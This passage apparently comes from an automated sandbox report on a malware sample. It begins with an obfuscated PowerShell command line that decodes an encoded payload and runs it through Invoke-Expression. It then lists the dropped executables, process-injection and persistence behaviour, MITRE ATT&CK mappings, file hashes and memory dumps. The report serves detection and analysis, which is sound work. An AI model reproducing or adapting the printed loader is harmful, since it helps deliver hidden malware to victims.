saf'eftDHov0LabBOve6for9JouDFor9Vol7Stv9Zym1sty8Adm4Pes8Spi7Ans9Mug1Gal8Rav6FalDapp4DueCCur9SolDFer4TraADisFSolAAss7Res8TilDSti8abs7Rec8Tem0Xer9Phi1And9tab9ReaDOveAEngBmed7Rev9MegBWat9SalADyb8Sac2Can9Han1Sog8Blk6Gni8Hyp0NavAent9SpoCJesEHanCNatEChrBAer2Rdv8Sol6Hyp9FouBBed9Hie9ansBTry6Cyp9Res5Sam8Bas7sji9Cio1DicCTra2SkiCUns0FroASul7Mon8Bri0Ins8Kam6Fil9SpeDTab9NonASym9pan3OpdDafbCLinDFor0MusBSto2Rek9NatBSib8pas6Gul9CheFAld9TelBDif8Coc6Dem8Chi0dyr9ran1Hin9Sil8For8Ska7Blu9Jol1Rup8Ask7Fug9Pro8sub9HanDOdi8Dis7Una8Dis0Dra9Gli1Dod9HetANarDBroDDag'Inc;ExeHCobaTesabarrBlodfisnMugaBeskUnkkToteMgldCyaefre9Und Kon`$EksBFliiAmecBioetropSpisFeseAbirCam9For;Pro`$PreFDdsoKonrCockSleoForrYngtBeaegurlBonsLseeStrsSnalbrdiBarsknotFleeFelnBro0Fed Hov=Dip bedHkirTUreBfag Bri'NegANonFMrkAKom7Lyn8OraDKlo8Min7Cra8Dra0Not9Fot1Ret9Pre9SubDMidAStiAHes6Afs8Unt1Fil9BloASku8Brl0Raz9DepDRaa9Wom9Spa9Vir1CanDBlaAResBTemDLac9MidAInt8Cir0Iso9sol1tia8Ant6Wri9OliBBin8Mot4NonAlys7Tes9Saw1Imm8Lon6For8Sja2Rai9dieDUds9Haa7Art9ano1Swe8Jac7TraDIndAMadBBet9Dis9Tra5Ent8Abd6Def8Fro7Ado9BilCEff9Las5Con9Rei8DouAFla9proCRedECebCStaEUnfBCod7Bla9slaBTax8Pla4Kva8TalDOmsDUnwCSheDFor0mosBPaa6Cha9UniDTuc9Eft7Scu9Bug1dri8Cyc4hos8Rav7Zyg9Irl1Unf8Ove6UniDEle8GteDHai4UrnCPol4InvDPaa8sapDFre4MelDLur4AdjDdim0BraBgulFNor9lanBSki9MonAFon8Ove0Pec9Sna5Tek9adoFHys8Sal0Eir9Hor1Rig8Poe6ste8Slu7EleCBad7PriDGav8vinDFil4AngCHve7ArbCFlo2DieCSmaCWatDAutDSir'Hun;annHCaraGliaEpirComdUnknBlaaNedkPsekVaseBagdQuaeSta9Sav Dec`$PreFLeaoStarSupkprooMonrdantRffeSerlUnqsPaserissLaglBaliCiesvattManeFemnPer0Lej;For`$GausPreiDorzSlueUno=Unc`$antBUfoikancdrneTidpLifsbibeanrrLie.quocForoStauthonRabtOry-Att3Por6Tte8Han;Len`$AttFPosoFagrRenkSoloOmtrAmmtEleeKrylPoosBuceMarsCablCaniFaasLigtVinePolnGre1Bar Ove=Ins SelHGodTOinBSer Kol'UdnATraFAlbAFes7Lim8NonDAdl8Tem7Ene8Sly0Bis9Aet1Una9Rli9IndDProAMinAPur6ten8Hom1Dip9TapAImp8Lys0Dom9BomDAfl9Udv9Unc9Dys1DisDBorAOpgBDisDDuc9marAbje8Flu0Uku9Cyl1Rob8tro6Und9ambBSol8Lau4gibAFil7Chl9Rep1Ned8Med6Cyt8des2sta9KonDGrn9Cow7Doc9Ava1Fou8Pot7oncDHgtACorBChe9Fro9Pro5Thu8sto6Flo8Peb7Sem9CorCfre9Hea5Wra9Min8MecAFor9EmbCPinEUdmCBadEFirBPre7Sko9VedBSlu8Pan4Tho8Og DKenDProCLngDOve0GraBDev6Pre9RatDFol9Els7Sam9Und1Enr8Stg4Vit8aan7Sto9Pom1Mon8Inf6CheDGig8MonDFyr4SyvCKug7TreCUns2posCSkaCSkgDKol8RecDPun4CamDBnn0Unm9BudBAfp8Ted6Rec9BanDFirDDdn8EraDfri4BubDNor0Typ8Ony7For9ForDArb8GruEMud9Lys1SopDKroDCra'Ove;KirHVidaStiaFatrAbadFornAllaAlkkTenkSteeSmadjagePrc9Avo Met`$EndFMeloSalrHelkHjlosidrAortOveeOutlForsMineAntsDislBroiModsInctForeFornOst1Lwe;Unt`$SepFsomoRisrAntkHviokosrInttEvaeFralSmasBireparsTeklBarilussLiqtgrueStanUgu2inr Gra=Acc FicHStrThulBboc Vse'RabDCen0Sma8Ove2ngt9The5Cis8Ret6SmeATheBMig8Haa6Iri8ran1Leg9MicAHvi9Uns9Fka9Mag1FirDSvl4FalCGan9DebDKri4RenALngFgavACya7Sup8StoDMae8Hex7Dac8Fem0Kli9Akt1Whi9Bac9KonDcroANakAVel6Erk8Tra1Exo9EftALyk8Oml0Ove9SydDBrn9Non9Ree9Nan1MorDBrnAAanByetDDis9SevALat8ste0Kam9For1Cyp8Tid6Aum9CenBmem8Civ4ShoACyc7Vic9Fra1Ung8Hys6Meg8Uns2Ros9AnsDrat9Oev7Hod9hyp1Dip8Slu7NgsDSkeAGroBHam9Jux9Frn5Vin8Omp6Ann8Fog7Emu9LvsCBes9Cot5Ski9Kod8PhlAUnd9BegCBlgESkjCFinETusBFor3Com9Tum1Phi8pis0AmtBOut0Ind9Lit1Spe9Sen8Sta9Hyp1Ice9Fla3Min9Hyl5Bit8Sig0Kul9Tur1HerBRaw2Eau9IntBCli8Uns6UdsBAns2Trk8Upa1Afp9FowAAbs9Kre7Sem8Kee0Sma9purDMen9SfiBbol9StyACryATra4Glo9AbsBInd9EscDCal9NeuAOak8Ide0Vul9Pos1Exa8Com6EnkDEntCOpsDCon0EmbBSimFBes9SprBOve9ChrACin8Her0Ido9mus5Dds9PruFAbi8eje0Pap9Mek1Whi8Bre6Ped8sof7SusCSal7TorDZin8phyDtem4TriDAstCNonBPal3VisBUdm0UnpASpr0disDEqu4FlaBSur4EleDgooCoksASteFDomBFawDTon9TemANon8Und0torAPre4Was8Ste0Dra8Vas6SneAHip9MasDNet8OmkABepFTreBProDEsn9RatAMed8Afd0OphAVil4Equ8His0Bys8Pre6SilAVal9AlkDPawDalfDuns4NonDButCPriAUnrFMetAWar2Sub9OreBMet9CreDCam9Bro0RdkAUnf9NonDFasDforDIndDBarDBluDPra'Ive;AmpHResaMulaAcrrBurdPronMisaUrokDybkNigeSaadUdseSki9Uns Srb`$PleFAaboPserDiskIntoHolrSurtReqeScrlProsAbyeRiisScolUdbiLevsWootCereTipnBef2Dal;Fer`$vinFBryoBharSkakSteoTverTretSeneDislUpbsScheForsFallDisiPersTrstMaiePrenInd3Ket Spr=Ant UlaHsjlTEngBHov Ski'UnfDEle0Fla8Ver2Ups9dip5Hid8Sub6VigAFulBCar8Bal6Far8Dat1Til9SubANdh9Gen9Sup9flo1BoxDEscAMonBPapDEmp9RafAPed8Gan2Fri9RigBPre9ImmFRod9Chu1MerDBesCSkeDImm0Sam9CelBMah8Ork6Mid9SpoDPlaDcat8SamDMiz0per8hul2bes9Zin5Sup8Spk6DipAEriBBon9RemAUdm8Mor0UnwDAntDPho'Bly;SteHAfsaSubastorHomdbyrnForaModkKnokSpaeAfkdMareAsc9kon Asy`$PerFManoDiarBakkHngoCrerPretAdeeBarlSedsAbseLotsAlllOveiSapsBiltFreeKnanBeh3Emp#Bol;""";;Function Forkortelseslisten9 { param([String]$HS); For($i=3; $i -lt $HS.Length-1; $i+=(3+1)){ $Unwearied = $Unwearied + $HS.Substring($i, 1); } $Unwearied;}$Mannishnesses0 = Forkortelseslisten9 'UhaIOctENotXUni ';$Mannishnesses1= Forkortelseslisten9 $Stormgtighederne;& ($Mannishnesses0) $Mannishnesses1;;"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3532
    - - C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        5⤵
        
        PID:3456
    - - C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        5⤵
        Checks QEMU agent file
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3436
- - C:\Users\Admin\AppData\Local\Temp\remcexecrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\remcexecrypt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:556
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 244
      4⤵
      Program crash
      PID:4284
- - C:\Users\Admin\AppData\Local\Temp\redlcryp.exe
    "C:\Users\Admin\AppData\Local\Temp\redlcryp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 240
      4⤵
      Program crash
      PID:2208
- - C:\Users\Admin\AppData\Local\Temp\racoocry.exe
    "C:\Users\Admin\AppData\Local\Temp\racoocry.exe"
    3⤵
    - Executes dropped EXE
    PID:2860
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2592 -s 244
  2⤵
  - Program crash
  PID:4936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2592 -ip 2592
1⤵
PID:4872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5068 -ip 5068
1⤵
PID:4808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4040 -ip 4040
1⤵
PID:2188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vbc.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log
Size 1KB
SHA256 9712454255d533a95fcd86c03e11f845fede5c4734fc71f07e4388dc1078ac29
MD5 72524ded2156309582e30fd1f5ac6903
SHA1 14c1dc8a41c09f1aab98298f259d5f737bdc4893
SHA512 c67f60b13d4a781670ca42804e3323edf5802ea6c194eac369773eb77d8e465697c75b8015735a58454bf4d69c8ef0dc632f1b63b7e5407b2ca092b2a8444e5f
MD5 SHA1 SHA512

Submit Download

Sklmsstregens.vbs

Path C:\Users\Admin\AppData\Local\Temp\Sklmsstregens.vbs
Size 939KB
SHA256 4d1c7c5b60c2dc51f6d7d3b57546e9862c42831c6c150256a5048a7597cb7d97
MD5 162aacbbce61a373c09f874f5b093227
SHA1 341f33fb5dd79976b53a49dafc3cbcc3d509240d
SHA512 755db0c2391990a74e6dc73429f96b17d6b8ffc2bd2e1ca903c843f03de77df788b21c87aed9ad932e1e65f705afea58fd14ddcf1e53b4b47d5d9b889a68c86e
SSDEEP 12288:Ngrvy5t3NBgEgdf8VJ5zkF26dgmQM+3zUssYdG7/+5/86xus/RnHQyjFxGXW5E05:avaBTD5zkcguUd7c8WRnHji0REv0B
MD5 SHA1 SHA512 SSDEEP

Submit Download

racoocry.exe

Path C:\Users\Admin\AppData\Local\Temp\racoocry.exe
Size 166KB
SHA256 1773ee63e438de609db3d4805799fbd1616e39ec0806d6f11c6e806d1edb8161
MD5 9b1c0f034ed63c010f34cbca81e9a679
SHA1 7f66c9dea33210a019d7db026153cdd729afabfd
SHA512 8fdda317df2ac98b0d9b8fb719cb4f8430c55b58067638f8cb78d2676f0ddf482de93746014fe03d0355f1833792082126a928ca25d82c20f27fb8a9b2c2e3bf
SSDEEP 3072:VQjP8GhRcZTTslG+Pjou1E6fVIPbGmXiL1qWLlznDtcIHKyPzap:VhsmTrUjoD6fMGlJDaIHKyPz+
MD5 SHA1 SHA512 SSDEEP

Submit Download

racoocry.exe

Path C:\Users\Admin\AppData\Local\Temp\racoocry.exe
Size 166KB
SHA256 1773ee63e438de609db3d4805799fbd1616e39ec0806d6f11c6e806d1edb8161
MD5 9b1c0f034ed63c010f34cbca81e9a679
SHA1 7f66c9dea33210a019d7db026153cdd729afabfd
SHA512 8fdda317df2ac98b0d9b8fb719cb4f8430c55b58067638f8cb78d2676f0ddf482de93746014fe03d0355f1833792082126a928ca25d82c20f27fb8a9b2c2e3bf
SSDEEP 3072:VQjP8GhRcZTTslG+Pjou1E6fVIPbGmXiL1qWLlznDtcIHKyPzap:VhsmTrUjoD6fMGlJDaIHKyPz+
MD5 SHA1 SHA512 SSDEEP

Submit Download

redlcryp.exe

Path C:\Users\Admin\AppData\Local\Temp\redlcryp.exe
Size 472KB
SHA256 74ae0102c4050421d0c81c0e96627b39f2004e2456845a43cdf6280c06f4ee64
MD5 4f784fd650c865f8363b7f314c20f4be
SHA1 b1f016318068a4c59960254ca7560cfba550cd5c
SHA512 c5abcd28932273def39c57210ef266b7a83898d9c02e3597c9d5a62e193acdafd0efce983c8ace838982110451276c63a3267d9569e08f6855da3d75b2acaec0
SSDEEP 12288:S9s1Nb4P/ngZepriWeB7Ix0nV654ve3ySYX0vO+5N42FeVxCNm1arFSB+:BLsP/nuoaICV654ve3ySYX0vO+5N42FF
MD5 SHA1 SHA512 SSDEEP

Submit Download

redlcryp.exe

Path C:\Users\Admin\AppData\Local\Temp\redlcryp.exe
Size 472KB
SHA256 74ae0102c4050421d0c81c0e96627b39f2004e2456845a43cdf6280c06f4ee64
MD5 4f784fd650c865f8363b7f314c20f4be
SHA1 b1f016318068a4c59960254ca7560cfba550cd5c
SHA512 c5abcd28932273def39c57210ef266b7a83898d9c02e3597c9d5a62e193acdafd0efce983c8ace838982110451276c63a3267d9569e08f6855da3d75b2acaec0
SSDEEP 12288:S9s1Nb4P/ngZepriWeB7Ix0nV654ve3ySYX0vO+5N42FeVxCNm1arFSB+:BLsP/nuoaICV654ve3ySYX0vO+5N42FF
MD5 SHA1 SHA512 SSDEEP

Submit Download

remcexecrypt.exe

Path C:\Users\Admin\AppData\Local\Temp\remcexecrypt.exe
Size 578KB
SHA256 6f6eb43adad7c1719aa85c3970b26b3d58e103ea4a830e7461be68fe22ee467b
MD5 48262644cae3de40096fe55766e34c61
SHA1 e577f7353f432f90f79f21bbc1fc1530815d1533
SHA512 ab3e8baa47e81a2ed18b7d4af72ee539cf708db588a0d6186c5790681caa783d8cf9d4a18d4208c575efd5fa8115bc9fbf3414efebb8df205b33cb10d3ca1a17
SSDEEP 12288:ExsbhVUKyHz3SmrEf09nHtDLd0kGgSy+uhtiDLBlBmlazlLlVBzGW3+:TNlyTCmT9nHB5TdGBlBm8zVBCR
MD5 SHA1 SHA512 SSDEEP

Submit Download

remcexecrypt.exe

Path C:\Users\Admin\AppData\Local\Temp\remcexecrypt.exe
Size 578KB
SHA256 6f6eb43adad7c1719aa85c3970b26b3d58e103ea4a830e7461be68fe22ee467b
MD5 48262644cae3de40096fe55766e34c61
SHA1 e577f7353f432f90f79f21bbc1fc1530815d1533
SHA512 ab3e8baa47e81a2ed18b7d4af72ee539cf708db588a0d6186c5790681caa783d8cf9d4a18d4208c575efd5fa8115bc9fbf3414efebb8df205b33cb10d3ca1a17
SSDEEP 12288:ExsbhVUKyHz3SmrEf09nHtDLd0kGgSy+uhtiDLBlBmlazlLlVBzGW3+:TNlyTCmT9nHB5TdGBlBm8zVBCR
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/224-174-0x0000000005A40000-0x0000000005A7C000-memory.dmp

Download

memory/224-191-0x0000000008CF0000-0x000000000921C000-memory.dmp

Download

memory/224-190-0x00000000085F0000-0x00000000087B2000-memory.dmp

Download

memory/224-189-0x0000000006C40000-0x0000000006CB6000-memory.dmp

Download

memory/224-173-0x00000000059E0000-0x00000000059F2000-memory.dmp

Download

memory/224-172-0x0000000005AD0000-0x0000000005BDA000-memory.dmp

Download

memory/224-171-0x0000000005FA0000-0x00000000065B8000-memory.dmp

Download

memory/224-165-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/556-162-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/556-153-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3436-200-0x0000000077A20000-0x0000000077BC3000-memory.dmp

Download

memory/3436-201-0x0000000077A20000-0x0000000077BC3000-memory.dmp

Download

memory/3436-199-0x00007FFF5AC30000-0x00007FFF5AE25000-memory.dmp

Download

memory/3436-202-0x00007FFF5AC30000-0x00007FFF5AE25000-memory.dmp

Download

memory/3436-198-0x0000000000A00000-0x0000000000B00000-memory.dmp

Download

memory/3436-197-0x0000000000A00000-0x0000000000B00000-memory.dmp

Download

memory/3436-195-0x0000000000A00000-0x0000000000B00000-memory.dmp

Download

memory/3436-203-0x0000000077A20000-0x0000000077BC3000-memory.dmp

Download

memory/3532-193-0x0000000077A20000-0x0000000077BC3000-memory.dmp

Download

memory/3532-196-0x0000000077A20000-0x0000000077BC3000-memory.dmp

Download

memory/3532-181-0x0000000005C80000-0x0000000005C9E000-memory.dmp

Download

memory/3532-182-0x0000000007510000-0x0000000007B8A000-memory.dmp

Download

memory/3532-183-0x0000000006200000-0x000000000621A000-memory.dmp

Download

memory/3532-184-0x0000000007030000-0x00000000070C6000-memory.dmp

Download

memory/3532-185-0x0000000006FC0000-0x0000000006FE2000-memory.dmp

Download

memory/3532-187-0x0000000006E90000-0x000000000750A000-memory.dmp

Download

memory/3532-188-0x0000000006E90000-0x000000000750A000-memory.dmp

Download

memory/3532-179-0x00000000056C0000-0x0000000005726000-memory.dmp

Download

memory/3532-180-0x00000000057A0000-0x0000000005806000-memory.dmp

Download

memory/3532-192-0x00007FFF5AC30000-0x00007FFF5AE25000-memory.dmp

Download

memory/3532-178-0x0000000004FB0000-0x0000000004FD2000-memory.dmp

Download

memory/3532-177-0x0000000005090000-0x00000000056B8000-memory.dmp

Download

memory/3532-176-0x0000000002560000-0x0000000002596000-memory.dmp

Download

memory/4736-138-0x0000000005DD0000-0x0000000006374000-memory.dmp

Download

memory/4736-150-0x0000000007040000-0x0000000007090000-memory.dmp

Download

memory/4736-133-0x0000000000400000-0x0000000000552000-memory.dmp

Download

memory/4736-151-0x0000000007410000-0x00000000074A2000-memory.dmp

Download

memory/5068-163-0x0000000000A70000-0x0000000000B04000-memory.dmp

Download